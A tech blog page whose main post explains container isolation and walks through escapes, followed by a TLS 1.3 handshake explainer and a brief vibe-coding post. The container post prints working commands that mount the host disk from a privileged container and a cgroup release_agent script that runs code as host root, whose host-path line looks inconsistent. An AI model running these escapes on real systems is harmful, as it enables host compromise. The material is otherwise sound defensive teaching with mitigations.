Category: Technology

  • Container Escape Vectors: A Practical Walkthrough of Namespace and Cgroup Weaknesses

    Container Escape Vectors: A Practical Walkthrough of Namespace and Cgroup Weaknesses

    Containers aren’t a security boundary. They’re a convenient packaging of several Linux kernel primitives that happen to produce process isolation as a side effect. Treat a container like a VM and you’ll get burned eventually. This post covers what actually enforces container isolation, two escape techniques that have shown up in production, and the mitigations worth bothering with.

    What’s actually isolating the container

    Layered diagram of container isolation: namespaces, cgroups, capabilities, seccomp

    There’s no single “container” kernel object. Docker, containerd, and friends compose four separate mechanisms.

    Namespaces partition what a process can see: pid (process tree), net (network stack), mnt (filesystem mounts), uts (hostname), ipc, and user (UID/GID mapping). A process in a new PID namespace sees itself as PID 1 and can’t see host processes, but it’s still the same kernel, same syscall table, same vulnerabilities.

    Cgroups (v1 or v2) limit and account for resource usage: CPU, memory, I/O, PIDs. They control resources, not confidentiality or integrity. Cgroup v1’s release_agent mechanism in particular is a privileged hook that has nothing to do with isolation and everything to do with host compromise, as we’ll see below.

    Capabilities split root’s omnipotence into roughly 40 discrete privileges (CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_PTRACE, and so on). A container running as UID 0 with a reduced capability set isn’t the same as host root, but Docker’s default set is still broad, and CAP_SYS_ADMIN alone gets you close to full root for a lot of practical purposes: mount manipulation, cgroup control, some device operations.

    Seccomp filters which syscalls a process can invoke at all, independent of capabilities. Docker ships a default profile blocking around 44 syscalls (keyctl, add_key, mount, umount2 in some paths, ptrace variants, kernel module loading, etc). Disabling it with –security-opt seccomp=unconfined is one of the most common ways people remove a real security control while chasing a build error they don’t fully understand.

    None of these four mechanisms were designed together as a sandbox. Each one closes off a slice of the host kernel’s attack surface, and the escapes live in the gaps between them.

    Escape 1: privileged containers and /dev access

    docker run –privileged disables almost everything above: full capability set, no seccomp, no AppArmor or SELinux confinement, and access to host devices. If the container can see host block devices under /dev, it can mount the host root filesystem directly:

    # inside a --privileged container
    mkdir /mnt/hostfs
    mount /dev/sda1 /mnt/hostfs
    chroot /mnt/hostfs /bin/bash
    # now you are root on the host filesystem

    This isn’t a bug. It’s documented behavior of –privileged. But it shows up constantly anyway: CI runners, “just make it work” Kubernetes manifests, Docker-in-Docker setups that grab –privileged to avoid debugging a permissions error. The fix is never “use –privileged.” It’s finding the one or two specific capabilities or device mounts the workload actually needs (–cap-add SYS_PTRACE, –device=/dev/foo), which is almost always possible once you bother to check.

    Escape 2: CVE-2019-5736, runc file descriptor overwrite

    This one’s a genuine kernel/runtime race, not a misconfiguration. runc versions before 1.0-rc7 (used under the hood by Docker, containerd, Kubernetes) were vulnerable to an attack where a malicious container could overwrite the host runc binary itself.

    Here’s the mechanism: when runc exec enters a running container, it briefly opens its own binary via /proc/self/exe inside the container’s mount namespace, to re-exec itself with dropped privileges. A container process controls its own /proc/self/exe target. Replace your own binary with a malicious ELF that, when run as the container’s entrypoint, opens /proc/self/exe for writing and holds the fd open, and you can race runc into writing to that fd instead of a temp file. Since the host runc binary is mapped in during this handoff, the attacker overwrites the actual runc executable on the host with their own payload. The next container started or exec’d into on that host runs the attacker’s code as root.

    What makes this one sting is that it broke the assumption that “non-privileged container, default config” was safe against a malicious image or a compromised process. The fix was having runc copy itself to a memfd (memfd_create) and exec from there instead of touching a path on disk, which kills the overwritable target entirely. Patch your container runtime, runc, containerd, crun, on the same schedule as your kernel. Don’t treat it as an afterthought.

    Escape 3: cgroup v1 release_agent abuse

    Cgroup v1 supports a release_agent file: a host-side executable path the kernel invokes, as root, on the host, whenever a cgroup becomes empty. Give a container CAP_SYS_ADMIN and write access to a cgroup hierarchy’s release_agent, which happens with –privileged or with mounted cgroupfs and relaxed capabilities, and it can point that path at a script of its choosing and trigger it:

    mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
    mkdir /tmp/cgrp/x
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=$(sed -n 's/.*\perdir:\([^,]*\).*/\1/p' /proc/self/cgroup)
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    echo '#!/bin/sh' > /cmd
    echo 'ps aux > /output' >> /cmd   # runs as host root
    chmod +x /cmd
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

    Researchers including Felix Wilhelm have written this one up extensively, and it works for a simple reason: cgroups were never an isolation mechanism. release_agent is a host-wide control hook, and a sufficiently privileged container process can just reach out and grab it. Cgroup v2’s unified hierarchy scopes release_agent differently and closes off this specific path, one of several reasons to be on v2 by now.

    Mitigations that actually reduce risk

    Drop capabilities aggressively. Start from –cap-drop=ALL and add back only what you’ve actually measured as needed. CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_SYS_MODULE have no business being default-on.

    Don’t use –privileged in production, period. A workload that “needs” it almost always needs one specific capability or device, not the entire host.

    Run containers rootless (Podman rootless, or Docker’s rootless mode). User namespace remapping maps “root” inside the container to an unprivileged UID on the host, so a full in-container compromise doesn’t hand over host root.

    Keep the runtime patched. CVE-2019-5736-class bugs live in runc, containerd, crun, not in your application code. Track your container runtime’s CVEs with the same priority you give kernel CVEs.

    Use seccomp, and don’t disable it just to make an error go away. If a syscall is genuinely blocked and genuinely needed, add it explicitly to a custom profile instead of going unconfined.

    Prefer cgroup v2, where the release_agent host-hook vector doesn’t apply the same way.

    For genuinely untrusted workloads, reach for a sandboxing runtime. gVisor (runsc) intercepts syscalls in userspace and reimplements the kernel surface; Kata Containers runs each container in a lightweight VM with its own kernel. Both add real isolation boundaries that namespaces and cgroups alone can’t provide, and the performance hit is usually worth it for multi-tenant or untrusted-input workloads.

    Every technique above has been public for years, and every mitigation here is a config change, not a research project. In my experience the gap between “container” and “isolated” is almost always one of three things: a missing –cap-drop, an unpatched runc, or a –privileged flag somebody added to make an error go away. Check those three first.

  • Why TLS 1.3 Handshakes Are Faster (And What Changed Under the Hood)

    Why TLS 1.3 Handshakes Are Faster (And What Changed Under the Hood)

    The 1-RTT handshake and what changed

    TLS 1.2 vs TLS 1.3 handshake sequence comparison

    TLS 1.3 (RFC 8446, finalized August 2018) isn’t a tuning pass on TLS 1.2. It’s a different protocol wearing the same name. The headline feature is a 1-RTT handshake instead of 2-RTT, but the interesting part is why that was even possible: an entire class of key exchange got deleted, renegotiation got deleted, and forward secrecy stopped being optional. Here’s what changed on the wire.

    TLS 1.2’s 2-RTT problem

    A full TLS 1.2 handshake looks like this:

    Client                                               Server
      ClientHello  (cipher suites, supported groups, random) -->
                                                  <-- ServerHello (chosen cipher)
                                                  <-- Certificate
                                                  <-- ServerKeyExchange (if DHE/ECDHE)
                                                  <-- ServerHelloDone
      ClientKeyExchange -->
      [ChangeCipherSpec] -->
      Finished -->
                                                  <-- [ChangeCipherSpec]
                                                  <-- Finished
      Application Data <-->

    The client sends a hello, the server replies with everything needed to pin down the cipher and key exchange, and only then can the client respond with its key material and a Finished message. Application data doesn’t move until after that second round trip. On a connection with 80ms RTT to a distant CDN edge, that’s 160ms burned on negotiation before TLS has done anything useful.

    The root cause is ordering: the client has no idea which key exchange group or cipher the server will pick until ServerHello shows up, so it can’t send a key share in the first flight. It’s stuck waiting.

    TLS 1.3’s fix: guess the group instead of negotiating it

    TLS 1.3 collapses the handshake by having the client guess which (EC)DHE group the server prefers and send a key share speculatively, right in the ClientHello:

    Client                                               Server
      ClientHello
        + key_share (e.g. x25519 public value)
        + supported_versions, signature_algorithms -->
                                                  <-- ServerHello
                                                        + key_share
                                                  <-- {EncryptedExtensions}
                                                  <-- {Certificate}
                                                  <-- {CertificateVerify}
                                                  <-- {Finished}
      {Finished} -->
      Application Data <-->                       <-- Application Data

    Everything in {} is encrypted. The server derives handshake traffic keys from its own ephemeral share plus the client’s key_share immediately after ClientHello arrives, so even the certificate exchange is now confidential. That closes a leak that existed in 1.2 for years: certs used to go over the wire in cleartext, which meant any passive eavesdropper could see exactly which server you were talking to. Because the client already sent a key share up front, the server can finish the key agreement and start pushing encrypted application data in its very first response. The client, once it has ServerHello and Finished, can start sending data too, no extra round trip needed to acknowledge anything. That’s your 1-RTT.

    If the client guesses wrong (rare these days since x25519 is close to universal), the server sends a HelloRetryRequest and you’re back to something like 2-RTT. But that’s the exception path, not what happens on a normal connection.

    You can watch this happen directly:

    $ curl -v --tlsv1.3 https://example.com 2>&1 | grep -i 'TLS\|SSL connection'
    * TLSv1.3 (OUT), TLS handshake, Client hello (1):
    * TLSv1.3 (IN), TLS handshake, Server hello (2):
    * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
    * TLSv1.3 (IN), TLS handshake, Certificate (11):
    * TLSv1.3 (IN), TLS handshake, CV (15):
    * TLSv1.3 (IN), TLS handshake, Finished (20):
    * TLSv1.3 (OUT), TLS handshake, Finished (20):
    * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384

    Notice there’s no ServerKeyExchange or ClientKeyExchange message type anymore. Key exchange data rides inside the Hello messages as an extension (key_share) instead of being its own standalone handshake message.

    Static RSA key exchange is gone, and good riddance

    TLS 1.2 allowed TLS_RSA_WITH_* cipher suites, where the client just encrypts a premaster secret directly with the server’s RSA public key. No Diffie-Hellman anywhere. This was fast, one asymmetric operation and no DHE math, but it was a disaster for confidentiality: if the server’s private key is ever compromised, subpoenaed, or pulled out via something like Heartbleed, every past session a passive adversary ever recorded becomes decryptable after the fact. There’s no forward secrecy here, because one static key derives every session’s secret.

    RFC 8446 rips static RSA key exchange out entirely. TLS 1.3 only supports (EC)DHE-based exchange, plus PSK for resumption, which I’ll get to below. Every handshake negotiates a fresh ephemeral key pair, so compromising the server’s long-term signing key lets an attacker impersonate the server from that point forward, but it buys them nothing against traffic captured earlier. Forward secrecy isn’t a cipher-suite setting you can accidentally misconfigure away anymore. It’s just how the protocol works now.

    Renegotiation is gone too. TLS 1.2’s renegotiation, re-running the handshake mid-connection to rotate keys or ask for a client cert, was the root cause of CVE-2009-3555, a plaintext-injection bug that needed the RFC 5746 patch as a partial band-aid. TLS 1.3 replaces that one general-purpose “redo the whole handshake” hammer with two narrower tools: post-handshake authentication (a CertificateRequest sent after the handshake, for mTLS-style client cert checks) and a dedicated KeyUpdate message for rotating keys.

    0-RTT resumption: speed, paid for with replay risk

    For repeat connections, TLS 1.3 offers 0-RTT via PSK resumption. The client reuses a session ticket from an earlier connection and sends encrypted application data in the very first flight, before the server has said a word back:

    Client                                               Server
      ClientHello + early_data + psk extension
      (encrypted with early_data_key)
      Application Data (0-RTT) -->
                                                  <-- ServerHello, ... Finished
      Application Data <-->

    That’s genuinely zero round trips of latency before data moves, which is great for a mobile client reconnecting to a server it already knows. The catch: 0-RTT data has no replay protection. The client sends it before the handshake finishes, specifically before the server’s Finished message, which is the thing that actually proves liveness and ties the exchange together. A network-positioned attacker can just capture that first flight and replay it verbatim. The server has no way to tell a replay apart from a legitimate retransmission at that layer, full stop.

    RFC 8446 Section 8 doesn’t try to fix this cryptographically. It pushes the problem up to the application: only use 0-RTT for idempotent requests (safe GETs, not POST /transfer-funds), and let servers implement their own anti-replay measures, single-use tickets, bounded replay caches, that sort of thing. Those measures claw back some of the latency win in exchange for safety. I’ve seen teams enable 0-RTT and forget this tradeoff exists, then get surprised when a retry storm double-charges something. In practice, most production setups (NGINX, HAProxy, Cloudflare) either disable 0-RTT outside of static content or require the application to opt in per request.

    What this means for your setup

    If you’re terminating TLS yourself, not sitting behind a CDN, confirm your stack is actually negotiating 1.3 and not quietly falling back to 1.2 for compatibility reasons that stopped mattering years ago. Run openssl s_client -connect host:443 -tls1_3 and check for Protocol: TLSv1.3 in the output.

    Drop any RSA key-exchange cipher suites still sitting in your 1.2 fallback config. They’re exactly the forward-secrecy hole TLS 1.3 was built to close.

    If you turn on 0-RTT, go audit which endpoints can actually receive early data. Most servers let you scope this. Default to “none” until you’ve actually confirmed the endpoint is idempotent, not just assumed it.

    TLS 1.3 isn’t TLS 1.2 with a speed boost bolted on. An entire category of key exchange is gone, renegotiation got replaced with purpose-built mechanisms, and there’s a new performance feature that trades away specific security guarantees for latency. Know which guarantees before you flip it on.

  • Humanity is DOOMED!

    Humanity is DOOMED!

    I saw a nice little clip about vibe coding in one of those wired youtube support videos: https://youtube.com/clip/UgkxVFTg0QHtcydHXfXfQDMtAB6zRlwkULMk?si=Y8yImeTFQlNP13EY and wanted to share it. The part about doing it yourself being faster is understated! A project I am attached to had an early requirement of being vibe coded and done as fast as possible. I objected and wrote a nasty memo about how it was going.

    Then later I saw http://youtube.com/shorts/ctu6ZT4rAsI?si=y2h23W47C8ElJ8GO which is spot-on!